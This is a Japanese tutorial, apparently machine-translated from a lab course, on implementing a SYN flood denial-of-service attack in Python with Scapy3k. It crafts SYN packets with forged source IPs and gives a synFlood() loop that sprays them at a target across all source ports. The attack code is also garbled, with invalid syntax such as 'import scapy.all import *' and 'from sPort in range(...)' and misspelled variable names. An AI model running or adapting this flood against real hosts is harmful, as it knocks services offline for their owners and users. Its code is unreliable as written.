Pythonプロジェクトは、Scapyに基づくSYNフラッド攻撃を実装します



Python Project Implements Syn Flood Attack Based Scapy



単純なDDosを実装するためのScapy--Scapy3kのPython3バージョン。

まず、SYNフラッド攻撃(SYNフラッドは一般的に使用されるDOSメソッドの1つです。これは、偽造されたTCP接続要求を多数送信することにより、攻撃されたホストのリソースを使い果たす攻撃メソッドです)。 TCPスリーウェイハンドシェイクのプロセスはここでは繰り返されません。 SYN攻撃とは、SYNメッセージをサーバーに送信した後、クライアントがサーバーの応答に応答しなくなることです。サーバーは、ハンドシェイクプロセスを格納するためにTCP要求領域を処理するときに、プロトコルスタックにバッファを残すため、クライアントのメッセージが一定時間後に受信されない場合、この接続のプロトコルスタックに格納されるデータは次のようになります。破棄されました。攻撃者がこの時間を使用して多数の接続要求を送信すると、それらはすべて半接続状態でハングし、サービスが拒否されるまでサーバーリソースを消費し続けます。



Scapyは、ネットワークパケットの送信、スニッフィング、解析、および偽造に使用できる強力なインタラクティブパケット処理プログラムです。最初にScapy3kをインストールする必要があります。

sudo pip3 install scapy-python3



ここで、scapyの使用方法を学びます。

sudo scapy(scapyはパケットを送信するためにroot権限を必要とします)



(警告メッセージは、インストールされていない依存パッケージがいくつかあるためですが、この実験ではそれらを使用する必要はありません。インストールしません)

ここで、Scapyを使用して、以下を確認するための単純なパケットを作成します。

pkt = IP(dst = '192.168.0.10')

次に、SYNパッケージを作成します。

pkt = IP(src = '202.121.0.12'、dst = '192.168.0.100')/ TCP(dport = 80、flags = 'S')

(IPパケットとTCPパケットを作成し、それらを組み合わせて、完全なTCPデータパケットを作成しました。そうしないと、送信できません。IPパケットで)送信元IPアドレスsrcと宛先IPアドレスを指定しました。 dst、ここでsrcは偽造されたアドレスであり、フラグの値はSに設定され、SYNパケットが送信されることを示します)

具体的なコードは次のとおりです。

import random import scapy.all import * def synFlood(tgt,dPort): srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] from sPort in range(1-24,65535): index = random.randrange(4) ipLayer = IP(stc = stcList[index].dst = tgt) tcoLayer = TCP(sport = sPort,dport = dPort,flags = 'S') packet = ipLayer/tcpLayer send(packet)

srcListは、偽のIPアドレスを格納するように定義されてから、ループが定義されます。役割は、送信される各パケットの送信元ポートを変更することです。 TCPパケットを作成するときに、パラメータsportを追加したことがわかります。ポート番号はスポーツパラメータに与えられます。また、random.randrange()を呼び出して、srcListから偽のIPアドレスをランダムに取得します。この実験が完了した場合でも、次の実験で完全なDdosプロセスが達成されます。


参照:https://www.shiyanlou.com/courses/683